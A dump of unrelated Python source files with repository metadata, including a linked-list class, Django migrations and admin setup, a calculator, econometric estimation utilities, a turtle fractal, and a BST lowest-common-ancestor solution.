`self.tail` to point to the # the Node _before_ the tail, we need to traverse # the whole linked list starting from the head, # because we cannot move backwards from any one # Node, so we have to start from the beginning current = self.head # traverse until we get to the Node right # before the tail Node while current.get_next() != self.tail: current = current.get_next() # `current` is now pointing at the Node right # before the tail Node self.tail = None self.tail = current # self.tail.set_next(None) return data ''' Removes the Node that `self.head` is referring to and returns the Node's data ''' def remove_head(self): if self.head is None: return None # save the head Node's data data = self.head.get_value() # both head and tail refer to the same Node # there's only one Node in the linked list if self.head is self.tail: # set both to be None self.head = None self.tail = None else: # we have more than one Node in the linked list # delete the head Node # update `self.head` to refer to the Node after the Node we just deleted self.head = self.head.get_next() return data ''' Traverses the linked list and returns a boolean indicating whether the specified `data` is in the linked list. What's the runtime for this method? ''' def contains(self, data): # an empty linked list can't contain what we're looking for if not self.head: return False # get a reference to the first Node in the linked list # we update what this Node points to as we traverse the linked list current = self.head # traverse the linked list so long as `current` is referring # to a Node while current is not None: # check if the Node that `current` is pointing at is holding # the data we're looking for if current.get_value() == data: return True # update our `current` pointer to point to the next Node in the linked list current = current.get_next() # we checked the whole linked list and didn't find the data return False ''' Traverses the linked list, fetching the max value in the linked list What is the runtime of this method? ''' def get_max(self): if self.head is None: return None max_so_far = self.head.get_value() current = self.head.get_next() while current is not None: if current.get_value() > max_so_far: max_so_far = current.get_value() current = current.get_next() return max_so_far

[ "h.kang.q@gmail.com" ]

h.kang.q@gmail.com

12d8dc00bbdec801fde535c2fb1573d4d8be79cc

d8d43bfb5ac50e88bf26ef59c9b3881b3d9686c6

/codecamp_project/campsessions/migrations/0004_auto__add_time__chg_field_session_time__add_index_session_time.py

b58f51a27c6f0b4ba8824297d6a03433b78bf199

[]

no_license

harmstyler/codecamp_project

929e48feae87c423c2670a46cf952bfb86117f15

8f367737d67b739fb1b11d9d214fbd910ccc5dfa

refs/heads/master

2021-01-19T13:50:39.470072

2013-08-04T20:46:36

null

0

null

UTF-8

Python

false

4,108

py

# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Time' db.create_table(u'campsessions_time', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('time', self.gf('django.db.models.fields.TimeField')()), )) db.send_create_signal(u'campsessions', ['Time']) # Renaming column for 'Session.time' to match new field type. db.rename_column(u'campsessions_session', 'time', 'time_id') # Changing field 'Session.time' db.alter_column(u'campsessions_session', 'time_id', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['campsessions.Time'], null=True)) # Adding index on 'Session', fields ['time'] db.create_index(u'campsessions_session', ['time_id']) def backwards(self, orm): # Removing index on 'Session', fields ['time'] db.delete_index(u'campsessions_session', ['time_id']) # Deleting model 'Time' db.delete_table(u'campsessions_time') # Renaming column for 'Session.time' to match new field type. db.rename_column(u'campsessions_session', 'time_id', 'time') # Changing field 'Session.time' db.alter_column(u'campsessions_session', 'time', self.gf('django.db.models.fields.TimeField')(default=0)) models = { u'campsessions.room': { 'Meta': {'ordering': "['name']", 'object_name': 'Room'}, 'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '60'}) }, u'campsessions.session': { 'Meta': {'ordering': "['title']", 'object_name': 'Session'}, 'abstract': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'room': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['campsessions.Room']", 'null': 'True'}), 'slug': ('django.db.models.fields.SlugField', [], {'unique': 'True', 'max_length': '50'}), 'speakers': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['speakers.Speaker']", 'symmetrical': 'False'}), 'time': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['campsessions.Time']", 'null': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '60'}) }, u'campsessions.time': { 'Meta': {'ordering': "['time']", 'object_name': 'Time'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'time': ('django.db.models.fields.TimeField', [], {}) }, u'speakers.speaker': { 'Meta': {'ordering': "['last_name']", 'object_name': 'Speaker'}, 'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '200'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '200'}), 'modified': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'slug': ('django.db.models.fields.SlugField', [], {'unique': 'True', 'max_length': '50'}) } } complete_apps = ['campsessions']

[ "tyler.harms@gmail.com" ]

tyler.harms@gmail.com

c48fcc8440c694ee49e258c7188c7d92ea4424b6

b367dfbc07fdfcc55d1d43839646c8b91eb18b2f

/simple calculater - Copy.py

f7f823e9521620e6c148401980e45404c32040c3

[]

no_license

manpreetSingh1308/Python-programs

cd5c6baf7fd2662c0cad68a89dc9990e91ca0c79

fb012c41fcbe011533eaa51886d986272376e9f6

refs/heads/main

2023-08-19T23:45:52.080045

2021-10-30T20:07:24

422,979,639

0

null

2021-10-30T20:04:49

null

UTF-8

Python

false

1,400

py

# Program make a simple calculator # This function adds two numbers def add(x, y): return x + y # This function subtracts two numbers def subtract(x, y): return x - y # This function multiplies two numbers def multiply(x, y): return x * y # This function divides two numbers def divide(x, y): return x / y print("Select operation.") print("1.Add") print("2.Subtract") print("3.Multiply") print("4.Divide") while True: # take input from the user choice = input("Enter choice(1/2/3/4): ") # check if choice is one of the four options if choice in ('1', '2', '3', '4'): num1 = float(input("Enter first number: ")) num2 = float(input("Enter second number: ")) if choice == '1': print(num1, "+", num2, "=", add(num1, num2)) elif choice == '2': print(num1, "-", num2, "=", subtract(num1, num2)) elif choice == '3': print(num1, "*", num2, "=", multiply(num1, num2)) elif choice == '4': print(num1, "/", num2, "=", divide(num1, num2)) # check if user wants another calculation # break the while loop if answer is no next_calculation = input("Let's do next calculation? (yes/no): ") if next_calculation == "no": break else: print("Invalid Input")

[ "noreply@github.com" ]

manpreetSingh1308.noreply@github.com

617d16ab2f1dfad658507e965879e41e4d3c041c

7aefd6394563a7418fec84f87a7b22ba2e1b00e9

/build/lib/hetsar/utils.py

48508f90b21c245e5019dd0c3c3c9d7eb6c04619

[ "BSD-3-Clause" ]

permissive

ida-j/hetsar

817d8f779eaefe40a34824945b743f7596049460

198b18c9f27d6e8be94f688eb2bd404a50ac2824

refs/heads/main

2023-06-07T23:10:44.782865

2021-06-21T16:15:01

332,352,417

0

null

UTF-8

Python

false

7,972

py

import numpy as np import pandas as pd def fn_significance_stars(zscore): if np.abs(zscore)>=2.58: return '***' elif np.abs(zscore)<2.58 and np.abs(zscore)>=1.96: return '**' elif np.abs(zscore)<1.96 and np.abs(zscore)>=1.65: return '*' else: return '' def fn_add_lags(df,idvar,timevar,varlist,lagorders): """ :param df: :param idvar: :param timevar: :param varlist: :param lagorders: :return: """ dfl = df.set_index([idvar,timevar]) for lag in lagorders: df_lagged = dfl.groupby(level = [0])[varlist].shift(lag).reset_index().\ rename(columns = {'y':f'y_l{lag}','x':f'x_l{lag}'}) df = df.merge(df_lagged, on = [idvar,timevar]).dropna() return df.reset_index(drop = True) def fn_inv_partitioned_a(invA,m_B,m_C,m_D): m_C_invA = m_C@invA m_E = m_D - m_C_invA@m_B invE = np.linalg.inv(m_E) m_invA_B_invE = invA@m_B@invE invH11 = invA + (m_invA_B_invE @ m_C_invA); invH12 = -m_invA_B_invE; invH21 = -invE @ m_C_invA; invH22 = invE; row1 = np.concatenate((invH11, invH12),axis = 1) row2 = np.concatenate((invH21, invH22),axis = 1) invH = np.concatenate((row1,row2),axis = 0) return invH def fn_inv_partitioned_b(m_A,m_B,m_C,invD): m_B_invD = m_B @ invD; m_F = m_A - (m_B_invD @ m_C); invF = np.linalg.inv(m_F); m_invD_C_invF = invD @ m_C @ invF; invH11 = invF; invH12 = -invF @ m_B_invD; invH21 = -m_invD_C_invF; invH22 = invD + (m_invD_C_invF @ m_B_invD); row1 = np.concatenate((invH11, invH12),axis = 1) row2 = np.concatenate((invH21, invH22),axis = 1) invH = np.concatenate((row1,row2),axis = 0) return invH def fn_varml_sandwich_Npsi_NKbeta_Nsgmsq(v_theta,m_y,m_ys,a_x,m_W): N,T,K = a_x.shape v_psi = v_theta[:N,0].reshape(N,1) v_beta = v_theta[N:(N+K*N),0].reshape(N*K,1) v_sgmsq = v_theta[(N+K*N):,0].reshape(N,1) # m_beta = v_beta.reshape([N,K], order = 'F') m_beta = v_beta.reshape([N,K], order = 'C') v_sgm4h = v_sgmsq**2 v_sgm6h = v_sgmsq**3 a_x2 = np.transpose(a_x,(0,2,1)) m_beta2 = m_beta[:,:,np.newaxis] m_beta_x = m_beta2*a_x2 m_beta_x2 = np.transpose(m_beta_x,(0,2,1)) m_beta_x_sum = np.sum(m_beta_x2,2) # residuals m_eps = m_y-v_psi*m_ys-m_beta_x_sum m_epssq = m_eps**2 v_ssr = np.sum(m_eps**2,1).reshape(N,1) sssr = np.sum(v_ssr/v_sgmsq) m_Psi = v_psi * np.identity(len(v_psi)) m_A = np.identity(N)-m_Psi@m_W det_mA= np.linalg.det(m_A) if det_mA<=0: print('Error: determinant(A)<=0!') m_Q = m_W@np.linalg.inv(m_A) m_H11 = m_Q*np.transpose(m_Q) + np.diag(np.sum(m_ys**2,1))/(T*v_sgmsq) m_H13a = np.sum(m_ys*m_eps,1).reshape(N,1)/(T*v_sgm4h) m_H13 = m_H13a*np.identity(len(m_H13a)) m_H33a = -(0.5/v_sgm4h)+(v_ssr/v_sgm6h)/T m_H33 = m_H33a*np.identity(len(m_H33a)) m_H12 = np.zeros([N,N*K]) invH22 = np.zeros([N*K,N*K]) m_H23 = np.zeros([N*K,N]) for i in range(N): ind = (i * K + 1,(i+1) * K) v_ysi = m_ys[i,:].reshape(T,1) m_Xi = a_x[i,:,:] # TxK v_epsi = m_eps[i,:].reshape(T,1) sgmsqi = v_sgmsq[i,0] sgm4hi = v_sgm4h[i,0] m_H12[i,ind[0]-1:ind[1]] = np.transpose(v_ysi)@m_Xi/sgmsqi/T invH22[ind[0]-1:ind[1],ind[0]-1:ind[1]] = np.linalg.inv(np.transpose(m_Xi)@m_Xi)*sgmsqi*T m_H23[ind[0]-1:ind[1],i] = np.transpose(np.transpose(m_Xi)@v_epsi/sgm4hi/T) m_Z11 = m_H11; m_Z12 = np.concatenate((m_H12,m_H13),axis = 1) invZ22 = fn_inv_partitioned_a(invH22,m_H23,np.transpose(m_H23),m_H33) invH = fn_inv_partitioned_b(m_Z11, m_Z12, np.transpose(m_Z12), invZ22) # J matrix v_q = np.diag(m_Q).reshape(N,1) m_dlogft_dvpsi = (m_ys*m_eps/v_sgmsq) - v_q v_dlogft_dvsgmsq = (m_epssq/v_sgm4h/2) - 0.5/v_sgmsq a_dlogft_dvbeta = m_eps.reshape(N,T,1)*a_x/v_sgmsq.reshape(N,1,1) m_dlogft_dvbeta = np.zeros([K*N,T]) for i in range(N): ind = (i * K + 1,(i+1) * K) m_dlogft_dvbeta[ind[0]-1:ind[1],:] = np.transpose(a_dlogft_dvbeta[i,:,:]) m_dlogft_dvtheta = np.concatenate((m_dlogft_dvpsi,m_dlogft_dvbeta,v_dlogft_dvsgmsq)) m_J = (m_dlogft_dvtheta@np.transpose(m_dlogft_dvtheta))/T # standard variance v_var0 = np.diag(invH)/T v_var = v_var0.reshape(len(v_var0),1) m_variance = np.zeros([N,K+2]) for i in [0,K+1]: m_variance[:,i] = v_var[i*N:(i+1)*N,0] for k_val in range(K): i = 1 m_variance[:,i+k_val] = v_var[[j+k_val for j in range(i*N+i-1,(i+K)*N+i-1,K)],0] # sandwich variance m_invH_J_invH = invH@m_J@invH v_var0 = np.diag(m_invH_J_invH)/T v_var = v_var0.reshape(len(v_var0),1) m_sandwich = np.zeros([N,K+2]) for i in [0,K+1]: m_sandwich[:,i] = v_var[i*N:(i+1)*N,0] for k_val in range(K): i = 1 m_sandwich[:,i+k_val] = v_var[[j+k_val for j in range(i*N+i-1,(i+K)*N+i-1,K)],0] return (m_variance,m_sandwich) def format_output(res,N,T,K,var,var_sand,dep_var,exog_labels,id_var): res_psi = res.x[:N].reshape([N,1]) res_beta = res.x[N:(K+1)*N].reshape([N,K],order = 'C') res_sigma = res.x[(K+1)*N:].reshape([N,1]) data_r = np.concatenate([res_psi,res_beta,res_sigma],axis = 1) dim_exog = res_beta.shape[1] if exog_labels==None: exog_labels = ['x{}'.format(i) for i in range(dim_exog)] else: if len(exog_labels)!=dim_exog: print('Wrong number of labels for exogenous covariates, using default labels') exog_labels = ['x{}'.format(i) for i in range(dim_exog)] colnames = [f'W{dep_var}'] + exog_labels + ['sgmsq'] df_r = pd.DataFrame(data=data_r,columns = colnames) for i in range(len(colnames)): df_r['var_{}'.format(colnames[i])] = var[:,i] df_r['var_sandw_{}'.format(colnames[i])] = var_sand[:,i] df_r.insert(0, id_var, [i for i in range(1,N+1)]) return df_r # mean-group estimator def fn_mg_est(df_theta,var_hat,group): countN = df_theta[[group,var_hat]].groupby(group).count().reset_index().rename(columns = {var_hat:'N'}) df_mg = df_theta[[var_hat,group]].groupby(group).mean().reset_index().rename(columns = {var_hat:'var_hat_mg'}) df_est2 = df_theta[[var_hat,group]].merge(df_mg[[group,'var_hat_mg']],on = group,how = 'left').\ rename(columns = {var_hat:'var_hat'}) df_est2['sq_er'] = (df_est2.var_hat-df_est2.var_hat_mg)**2 df_sgm = df_est2[[group,'sq_er']].groupby(group).sum().reset_index().\ merge(countN,on = group) df_sgm['s_{}_mg'.format(var_hat)] = np.sqrt(df_sgm.sq_er/(df_sgm.N*(df_sgm.N-1))) return df_sgm.merge(df_mg[['var_hat_mg',group]],on = group).\ rename(columns = {'var_hat_mg':'{}_mg'.format(var_hat)})[[group,'s_{}_mg'.format(var_hat),'{}_mg'.format(var_hat)]] def fn_mg_bias_rmse_size(df_results,var_hat,var0,N,cval = 1.96): df_est = df_results[[var_hat,'r','N']].rename(columns = {var_hat:'var_hat'}) df_est['var0'] = var0 res_mean = df_est[['var_hat','var0','r']].groupby('r').mean().reset_index() res_mean['bias'] = res_mean['var_hat']-res_mean['var0'] res_mean = res_mean.rename(columns = {'var_hat':'var_hat_mg'}) res_mean['rmse'] = (res_mean['var_hat_mg']-res_mean['var0'])**2 bias_r = res_mean.mean().bias rmse_r = (res_mean.mean().rmse)**(1/2) df_est2 = df_est.merge(res_mean[['r','var_hat_mg']],on = 'r',how = 'left') df_est2['sq_er'] = (df_est2.var_hat-df_est2.var_hat_mg)**2 df_sgm = df_est2[['r','sq_er']].groupby('r').sum().reset_index() df_sgm['s2_r'] = df_sgm.sq_er/(N*(N-1)) df_sgm['s'] = np.sqrt(df_sgm.s2_r) df_sgm2 = df_sgm.merge(res_mean[['r','var_hat_mg']],on = 'r',how = 'left') df_sgm2['var0'] = var0 df_sgm2['t']= (df_sgm2.var_hat_mg-df_sgm2.var0)/df_sgm2.s df_sgm2['size'] = 1*(np.abs(df_sgm2.t)>cval) size_r = df_sgm2.mean()['size'] return (bias_r,rmse_r,size_r)

[ "ida.b.johnsson@gmail.com" ]

ida.b.johnsson@gmail.com

1471e72b37bcd808725dc8eefdf97b634cc957dc

34bfac68474bea25a02adfb255ec817a080207ad

/code/test.py

b52cbd6071a9f998cf258ef7dad6aaf9808f137f

[ "Unlicense" ]

permissive

telavivmakers/geek_code

574d3aec793ba1688b53b3c4b4ee8ed7c1ee20bc

a4fce2dc0d569c72bfa820c7c7a8d95097818ca2

refs/heads/master

2023-02-23T04:41:38.580022

2023-02-18T18:33:12

216,117,542

29

4

Unlicense

2023-02-18T18:33:13

2019-10-18T22:44:48

JavaScript

UTF-8

Python

false

111

py

import geek_decode meaning,remaining = geek_decode.parse_geekcode(' GS blabla GDS') print(meaning, remaining)

[ "noreply@github.com" ]

telavivmakers.noreply@github.com

a0d18993b6906afca87c3392a769e58c0dd83185

24f9f3ce945c84d6afe32870e320a1d5c9d896ac

/Week2/Code/dictionary.py

605830369ca42ea1462fd5787dd45982740e75ba

[]

no_license

acse-yq3018/CMEECourseWork

64c529db506a65e43cfc656726d66769b60742cd

8f2ae373f21f39d72780e64d74f27db1ae3c9c43

refs/heads/master

2021-10-22T11:33:40.573899

2019-03-10T11:50:16

151,982,957

0

1

null

UTF-8

Python

false

1,245

py

#!/usr/bin/env python3 """Use dictionary to classify taxa""" __appname__ = 'dictionary.py' __author__ = 'Yuxin Qin (yq3018@imperial.ac.uk)' __version__ = '0.0.1' ################################################## taxa = [ ('Myotis lucifugus','Chiroptera'), ('Gerbillus henleyi','Rodentia',), ('Peromyscus crinitus', 'Rodentia'), ('Mus domesticus', 'Rodentia'), ('Cleithrionomys rutilus', 'Rodentia'), ('Microgale dobsoni', 'Afrosoricida'), ('Microgale talazaci', 'Afrosoricida'), ('Lyacon pictus', 'Carnivora'), ('Arctocephalus gazella', 'Carnivora'), ('Canis lupus', 'Carnivora'), ] # Write a short python script to populate a dictionary called taxa_dic # derived from taxa so that it maps order names to sets of taxa. # E.g. 'Chiroptera' : set(['Myotis lucifugus']) etc. # ANNOTATE WHAT EVERY BLOCK OR IF NECESSARY, LINE IS DOING! # ALSO, PLEASE INCLUDE A DOCSTRING AT THE BEGINNING OF THIS FILE THAT # SAYS WHAT THE SCRIPT DOES AND WHO THE AUTHOR IS # Write your script here: taxa_dic = {} for i, k in taxa: s = taxa_dic.get(k) or set () # taxa_dic(k) return a value of k s.add (i) taxa_dic[k] = s print (taxa_dic)

[ "yq3018@imperial.ac.uk" ]

yq3018@imperial.ac.uk

85fc832f7949d2a610125186d9650db344d63852

2743b52bf0fbc7ffb3d90298c6a47bc95c097baf

/py2/fractal_tree_v1.1.py

a26eceed27b4af2709fc3e565a2214920f377887

[]

no_license

ArvinShaffer/anaconda

6d1c4e41dae1436e8dc3df607322d25bb0f27221

8ab61c73493a1986253d0c77818beede5bb3be0f

refs/heads/master

2023-02-17T19:17:57.351454

2023-02-15T11:53:58

119,800,579

2

0

null

2023-02-15T11:53:59

2018-02-01T07:36:20

Python

UTF-8

Python

false

800

py

""" Author:Arvin Shaffer Function:Draw a five-pointed star! Version:1.1 Date:02/15/2018 1.1 New Function:Use iteration function draw Fractal tree """ import turtle def draw_recursive_Fractal(size): """ Use iteration to draw a Fractal tree :param size: :return: """ if size > 5: turtle.forward(size) turtle.right(20) draw_recursive_Fractal(size - 10) turtle.left(40) draw_recursive_Fractal(size - 10) turtle.right(20) turtle.backward(size) def initial_brush(): turtle.pencolor('red') turtle.penup() turtle.sety(-100) turtle.pendown() turtle.left(90) def main(): initial_brush() draw_recursive_Fractal(66) turtle.exitonclick() if __name__ == "__main__" : main()

[ "jianzhimo@sina.cn" ]

jianzhimo@sina.cn

ba655956928273bdb83c374d24470b7db1bd2652

daa05742d81f4bb5b0385682f89eed89a97f08d2

/vproj/library/admin.py

1fff9e395bcd052b07fd45aa88308ae93372b2d1

[]

no_license

meetakshiaggarwal/lib-proj-vib

b923083a973326d3ab0d56007b4bde77577bb3a0

505f6a6471b61365e137aed003a3938c971cca29

refs/heads/master

2021-01-10T08:08:12.417942

2015-11-25T16:03:33

46,871,968

0

null

UTF-8

Python

false

2,168

py

from django.contrib import admin # Register your models here. from .forms import CategoryForm from .forms import AuthorForm from .forms import PublisherForm from .forms import BookForm from .forms import HasCategoryForm from .forms import CompiledByForm from .forms import MemberForm from .forms import BookCopyForm from .forms import HistoryForm from .forms import WaitingListForm from .models import Category from .models import Author from .models import Publisher from .models import Book from .models import HasCategory from .models import CompiledBy from .models import Member from .models import BookCopy from .models import History from .models import WaitingList class CategoryAdmin(admin.ModelAdmin): list_display = ["__unicode__", "category_id"] form = CategoryForm class AuthorAdmin(admin.ModelAdmin): list_display = ["__unicode__", "author_id"] form = AuthorForm class PublisherAdmin(admin.ModelAdmin): list_display = ["__unicode__", "publisher_id"] form = PublisherForm class BookAdmin(admin.ModelAdmin): list_display = ["book_id","__unicode__", "isbn_no","rating", "no_of_copies"] form = BookForm class HasCategoryAdmin(admin.ModelAdmin): list_display = ["__unicode__"] form = HasCategoryForm class CompiledByAdmin(admin.ModelAdmin): list_display = ["book_id","author_id","publisher_id"] form = CompiledByForm class MemberAdmin(admin.ModelAdmin): # list_display = ["first_name","last_name","phone","email","date_of_joining","reference_id"] form = MemberForm class BookCopyAdmin(admin.ModelAdmin): form = BookCopyForm class HistoryAdmin(admin.ModelAdmin): form = HistoryForm class WaitingListAdmin(admin.ModelAdmin): form = WaitingListForm # admin.site.register(SignUp,SignUpAdmin) admin.site.register(Category,CategoryAdmin) admin.site.register(Author, AuthorAdmin) admin.site.register(Publisher,PublisherAdmin) admin.site.register(Book,BookAdmin) admin.site.register(HasCategory,HasCategoryAdmin) admin.site.register(CompiledBy,CompiledByAdmin) admin.site.register(Member, MemberAdmin) admin.site.register(BookCopy,BookCopyAdmin) admin.site.register(History,HistoryAdmin) admin.site.register(WaitingList,WaitingListAdmin)

[ "meetakshi17@gmail.com" ]

meetakshi17@gmail.com

111111693155ec12ab89d1259913c5984ac0ba31

42fe73b2ef271565c60f633af1be8344d7966350

/JD_spider/fit.py

652589ab787aeac9e577d5902c8720004bb995b9

[]

no_license

ElecEyeCk/EEC

ce475f988d2c7a0391d89749a301760664c4c41f

8d3a6734abf953a40b9792f8420b5799e649e7b4

refs/heads/master

2023-08-05T23:41:09.681636

2021-09-27T04:53:20

382,285,623

0

null

UTF-8

Python

false

1,012

py

import pandas as pd import csv file_path = "C:/Users/王羽钧/Desktop/大三下/软件工程课设/数据集/7-6/JD_Phone6.csv" csv_file = pd.read_csv(file_path) commit_list = csv_file['commit'].copy() name_list = csv_file['name'].copy() adr_list = csv_file['adr'].copy() price_list = csv_file['price'].copy() shop_list = csv_file['shop'].copy() icons_list = csv_file['icons'].copy() for i in range(0,len(name_list)): name_list[i] = name_list[i].replace("\n", "") with open(file_path, 'w', newline='', encoding='utf-8-sig')as f: fieldnames = ["adr", "name", "price", "commit", "shop", "icons"] f_csv = csv.DictWriter(f, fieldnames=fieldnames) f_csv.writeheader() for i in range(0, len(commit_list)): f_csv.writerow( { "adr": adr_list[i], "name": name_list[i], "price": price_list[i], "commit": commit_list[i], "shop": shop_list[i], "icons": icons_list[i] } ) f.close()

[ "44989275+Alex3der@users.noreply.github.com" ]

44989275+Alex3der@users.noreply.github.com

3c2b72b64a2ab17b8dd5de8c68068bafa6824716

c8c021af70365b9079ef637bbd560d3dd3d10e8c

/.venv/bin/pip3

bfa2475ae3903112cbe673bbf474f340484f9751

[]

no_license

pkunwu/whattoeat

064d79f3ead360974e9cb8e7e117d6eeaab07e30

1991d03bea1c883e863a3a0839ffc77d552bebba

refs/heads/master

2023-06-21T22:16:12.260242

2021-07-22T02:15:05

355,035,234

0

null

UTF-8

Python

false

270

#!/home/chenliang/Documents/Programming/WhatToEat/.venv/bin/python3 # -*- coding: utf-8 -*- import re import sys from pip._internal.cli.main import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(main())

[ "pkunwu@gmail.com" ]

pkunwu@gmail.com

d0f8333b966b57a0edb2b0537c142c13a7cbbac7

cd98f3e273da6b8117b9c3069eff5321939055fc

/Python/ErrorsAndExceptions/Exceptions/solution.py

8f7e165d2eb17cdc3453d5f3f803b13437013a4d

[]

no_license

dev-11/HackerRankSolutions

86a3d6ad4f014b4022348c9bd3a573c729805f6a

f2c33dc359a55bae4d7f8921a46d4261f9dfa515

refs/heads/master

2021-06-24T17:30:59.834850

2019-07-25T19:23:52

114,654,051

2

1

null

UTF-8

Python

false

157

py

for i in range(int(input())): try: a,b = map(int,input().split()) print(a//b) except Exception as e: print("Error Code:",e)

[ "giotto007@gmail.com" ]

giotto007@gmail.com

6bb7901debec9f9ddd547ba4fb9d52462ca74c58

fa45fe7eaba7ef7c27ecf95db7c460ca189ce0d4

/everydays/BookBeingRead/python高级编程/day12.1.py

0d2033516213b11dfa91ea44119d6e37e17ceb4c

[]

no_license

jake20001/Hello

be1a2bb5331f2ad4c1d8f30c6a9a530aff79e605

08217871bb17152eb09e68cd154937ebe5d59d2c

refs/heads/master

2021-07-10T09:48:15.883716

2021-04-23T14:49:03

56,282,358

0

null

UTF-8

Python

false

774

py

# -*- coding:utf-8 -*- # ------------------------------- # ProjectName : autoDemo # Author : zhangjk # CreateTime : 2020/12/18 11:05 # FileName : day12.1 # Description : # -------------------------------- import os class DublinCoreAdapter(object): def __init__(self,filename): self._filename = filename def title(self): return os.path.splitext(self._filename)[0] def creater(self): return "Someone" def language(self): return ('en',) class DublinCoreInfo(object): def summary(self,dc_ob): print('Title %s'%dc_ob.title()) print('Create %s'%dc_ob.creater()) print('Languge %s'%','.join(dc_ob.language())) adapter = DublinCoreAdapter('1.txt') infos = DublinCoreInfo() infos.summary(adapter)

[ "jianke.zhang@beantechs.com" ]

jianke.zhang@beantechs.com

0d47dd61b2368620cb8f0061a923c73cc7be140f

5b0c9ebe1576fdf6fcc1abf8d5c781fdc0aab591

/test3.py

82be98b389109e219d53f572d236b1c6bea018b0

[]

no_license

Alex-kaer/paxos-edu

de7dc072cc159e175d6facbe0cbffb553d6606d6

4036adc76ff476b6d86605ba177793f2c668defa

refs/heads/master

2020-03-31T12:02:50.210231

2018-08-23T21:11:32

2018-08-23T21:16:26

null

0

null

UTF-8

Python

false

238

py

from paxos import run_cli hosts_ports = ( ('127.0.0.1', '8881'), ('127.0.0.1', '8882'), ('127.0.0.1', '8883'), ('127.0.0.1', '8884'), ('127.0.0.1', '8885'), ) run_cli(*hosts_ports[2], hosts_ports, hosts_ports[2][1])

[ "jimzuolin@gmail.com" ]

jimzuolin@gmail.com

4422f7d5921e314273bf3e365ade27b53d14f1d0

053c7e3649fa0e7b9fee1d575227f3df3dc9514e

/venv/lib/python3.7/rlcompleter.py

7d314a0e11ceea9c8379850d542c51282747dc59

[]

no_license

brady19990517/bottletest

2908d489929f50224047893809fd56c5484f14f0

038cd7dfa1bed30a0a92369e735ce6427daec690

refs/heads/master

2022-06-13T17:05:59.187688

2019-07-29T08:13:26

199,409,471

0

null

2022-06-03T22:45:16

2019-07-29T08:17:52

Python

UTF-8

Python

false

51

py

/Users/bpeng/anaconda3/lib/python3.7/rlcompleter.py

[ "dearbrady19990517@gmail.com" ]

dearbrady19990517@gmail.com

0825d679a4a233d1b744c5a713dd44acfafe47e4

4e8b2390820525051aaca421e657b4bbb7c86eb2

/querysys/url.py

26479b9e915c2788199e20bb841a6ac135cfa39f

[]

no_license

HandsomeCodeMan123/StudentManage

837a461ee08db16d59b7117d4a4ba7d75b5f2fb9

7560aaf97e3442d1e682d9b7e64b162856552321

refs/heads/master

2023-04-01T18:44:43.839067

2021-04-01T13:53:03

null

0

null

UTF-8

Python

false

157

py

from django.urls import path from querysys.views import index,addstudent urlpatterns = [ path('index/', index), path('addstudent/', addstudent), ]

[ "291882490@qq.com" ]

291882490@qq.com

12036ced2dc9a7de9f3d4d79fc1ad4e7fbcbe6cd

8fef8af953e8dafde78c671e8ee9813d08ab2d60

/trees/BST/LowestCommAncestor.py

f1e104c3496e69731c8a6af520b879abc8aa4736

[ "MIT" ]

permissive

htrahddis-hub/DSA-Together-HacktoberFest

037b009c744863070e0f1b61167c18f9101335f2

a5c6165c449c5b5b91e56815f2a38d5fd23bf354

refs/heads/main

2023-08-23T18:52:55.654386

2021-10-17T15:45:14

418,180,825

1

0

MIT

2021-10-17T15:56:21

null

UTF-8

Python

false

2,808

py

# Link to the problem :https://practice.geeksforgeeks.org/problems/lowest-common-ancestor-in-a-bst/1# #Function to find the lowest common ancestor in a BST. # We are looking for a node which is closest to both the nodes def LCA(root, n1, n2): #code here. while(root): # If the root is greater than both nodes , then we are looking for something smaller , so go to left if(root.data > n1 and root.data > n2): root = root.left # If the root is smaller than both nodes , then we are looking for something greater than this and go to right elif(root.data < n1 and root.data < n2): root = root.right #If the root is not greater or smaller then we have found something closest to both the nodes , so returns the root else: break return root #{ # Driver Code Starts #Initial Template for Python 3 from collections import deque # Tree Node class Node: def __init__(self, val): self.right = None self.data = val self.left = None # Function to Build Tree def buildTree(s): #Corner Case if(len(s)==0 or s[0]=="N"): return None # Creating list of strings from input # string after spliting by space ip=list(map(str,s.split())) # Create the root of the tree root=Node(int(ip[0])) size=0 q=deque() # Push the root to the queue q.append(root) size=size+1 # Starting from the second element i=1 while(size>0 and i<len(ip)): # Get and remove the front of the queue currNode=q[0] q.popleft() size=size-1 # Get the current node's value from the string currVal=ip[i] # If the left child is not null if(currVal!="N"): # Create the left child for the current node currNode.left=Node(int(currVal)) # Push it to the queue q.append(currNode.left) size=size+1 # For the right child i=i+1 if(i>=len(ip)): break currVal=ip[i] # If the right child is not null if(currVal!="N"): # Create the right child for the current node currNode.right=Node(int(currVal)) # Push it to the queue q.append(currNode.right) size=size+1 i=i+1 return root if __name__=="__main__": t=int(input()) for _ in range(0,t): s=input() root=buildTree(s) n1,n2=list(map(int,input().split())) print(LCA(root,n1,n2).data); # } Driver Code Ends

[ "dsrao0712@gmail.com" ]

dsrao0712@gmail.com

7193b1ee65106633518983747b93915b9493a142

f706a4fe6663e1e51f2393f69927fec7c2275b10

